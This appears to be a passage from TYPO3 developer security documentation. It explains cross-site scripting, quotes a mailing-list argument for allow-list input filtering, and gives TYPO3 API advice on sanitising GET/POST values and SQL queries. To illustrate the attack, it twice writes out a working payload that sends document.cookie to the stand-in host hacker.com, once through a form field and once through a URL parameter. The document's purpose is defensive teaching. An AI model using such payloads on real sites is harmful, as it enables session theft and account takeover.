Imagine a message board where you input your name in to a form field. Instead of your name you enter this:

<script>document.location='http://www.hacker.com/?cookie='+document.cookie</script>

Now the users cookie - my cookie or your session cookie! - is sent to the hostile URL and he can steal our session!

It could also be GET parameters like this:

http://www.url.com/index.php?id=123&tx_messageboard[msg]=7777

Normally that would display message 7777. However what happens if the hostile part inserts this URL:

http://www.url.com/index.php?id=123&tx_messageboard[msg]=<script>document.location='http://www.hacker.com/?cookie='+document.cookie</script>

(This could also be hex-encoded to hide what is going on)

How if you don't evaluate the tx_messageboard[msg] variable to integer or if you don't rawurlencode() the value before you add it in a link this will ALSO execute the JavaScript!

Basically the danger lies in <script>-sections and other places the untrusted user can get JavaScript executed, like in "onClick" or "href='javascript: ....'. The list is probably larger, but this is apparently the most dangerous.

Here are for now some more links about practices:

http://www.cgisecurity.com/articles/xss-faq.shtml

Q: "What can I do to protect myself as a vendor?"

A: This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to &lt; and &gt; is also suggested when it comes to script output. . . .

An example of the discussion about how to prevent XSS is this thread found on http://www.der-keiler.de/Mailing-Lists/securityfocus/vuln-dev/2002-10/0021.html

To: Astalavista Baby <info@astalavista.com>

From: Valdis.Kletnieks@vt.edu

Date: Thu, 10 Oct 2002 23:08:07 -0400

On Thu, 10 Oct 2002 23:41:34 -0000, Astalavista Baby <info@astalavista.com> said: 

> like to see more and better ways ?! 

> 

> My idea: ( I think this is not safe enough?) 

> 

> function make_clean($value){ 

> $value = htmlspecialchars($value) 

> $value = str_replace("%2B", "", $value); 

> .... more .. 

> return $value; 

> } 

Wrong. 

You're filtering "known illegal" out, rather than refusing to pass only 

probably legal characters through. You can enumerate %2B, ... more ... 

and you're still totally screwed to the wall if you missed one (and remember 

that all the Unicode exploits are basically "missed one"). Worse yet, 

you're screwed to the wall if you have a complete list, but at a later date 

somebody finds a new and creative way to use a character (did you know that 

some Unix shells treat the ^ caret as equivalent to | pipe? ;) 

I don't do PHP, but the pseudocode *should* be: 

function make_clean($value) { 

    legalchars = "[a-z][A-Z][0-9] "; // allow letters number space only 

    for each char in $value 

       if char not in legalchars 

       then char=' '; // bogus char? Make it a blank 

    end for; 

} 

Somebody finds a way to use doublequote to inject bad data? Somebody finds 

a way to use asterisks or %2B? No problem - they weren't in my legalchars 

list to start with. 

Remember - don't filter known bad chars. Filter *everything* *but* known good. 

-- 

Valdis Kletnieks

Computer Systems Senior Engineer

Virginia Tech

When you take in values from outside through GET and POST you should always use the API functions supplied by TYPO3. They are t3lib_div::_GET(), t3lib_div::_POST(), and t3lib_div::_GP(). These will always deliver you values where quotes are not escaped (thus “clean”). And that means you can consistently pass these values through $GLOBALS['TYPO3_DB']->quoteStr() when building queries.

Use the query building functions in t3lib_DB (see “Database connectivity” section for details) and preferably use the functions prepended “exec_” to execute the queries directly.

For all WHERE clauses (of UPDATE, DELETE and SELECT) remember rigid usage of $GLOBALS['TYPO3_DB']->quoteStr() / intval() + of course such as t3lib_BEfunc::deleteClause() etc.